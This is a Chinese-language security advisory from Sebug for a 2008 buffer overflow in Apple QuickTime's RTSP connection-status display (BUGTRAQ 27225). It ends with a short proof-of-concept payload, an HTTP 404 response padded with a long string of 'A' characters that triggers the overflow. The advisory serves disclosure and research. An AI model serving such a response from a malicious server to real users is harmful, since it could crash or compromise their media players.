BUGTRAQ ID: 27225
Apple QuickTime是一款非常流行的多媒体播放器。
QuickTime在填充包含有连接状态信息的LCD类屏幕时存在缓冲区溢出漏洞，远程恶意服务器可能利用此漏洞控制用户系统。
如果用户跟随了rtsp://连接且服务器的554端口关闭，Quicktime就会自动更改传输方式，在80端口上尝试HTTP协议，LCD类屏幕会显示服务器的404错误消息。
Apple QuickTime RTSP连接状态显示远程溢出漏洞
Published:2008-01-10
Vulnerable:
Apple QuickTime Player <= 7.3.1.70
Discription:
<*References
Luigi Auriemma （aluigi@pivx.com）*>
链接：http://marc.info/?l=bugtraq&m=119999287722782&w=2
SEBUG Solution:
Exploit:
[www.sebug.net]
The following procedures (methods) may contain something offensive，they are only for security researches and teaching , at your own risk!
The following procedures (methods) may contain something offensive，they are only for security researches and teaching , at your own risk!
HTTP/1.1
404
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// Sebug.net [ 2008-01-12 ]